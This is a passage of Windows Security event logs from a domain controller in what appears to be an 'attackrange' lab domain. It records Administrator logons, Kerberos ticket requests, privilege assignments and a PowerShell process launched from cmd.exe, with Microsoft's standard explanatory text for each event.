	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251034
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{EA936317-7890-C888-F915-FC03989DB212}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251033
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{EA936317-7890-C888-F915-FC03989DB212}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251032
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251031
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12523D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251030
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12523D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251029
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12523D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{EA936317-7890-C888-F915-FC03989DB212}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251028
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{EA936317-7890-C888-F915-FC03989DB212}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251027
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{EA936317-7890-C888-F915-FC03989DB212}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251026
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251025
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12521F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251024
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12484A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251023
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1234B5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251022
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12521F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251021
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12521F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{EA936317-7890-C888-F915-FC03989DB212}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251020
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{EA936317-7890-C888-F915-FC03989DB212}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251019
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{EA936317-7890-C888-F915-FC03989DB212}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251018
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251134
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1292FA

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251133
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1292FA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251132
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251131
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251130
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251129
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x128D1E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251128
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x128D1E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251127
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251126
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251125
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251124
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12528E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11d0
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xac4
	Creator Process Name:	C:\Windows\System32\cmd.exe
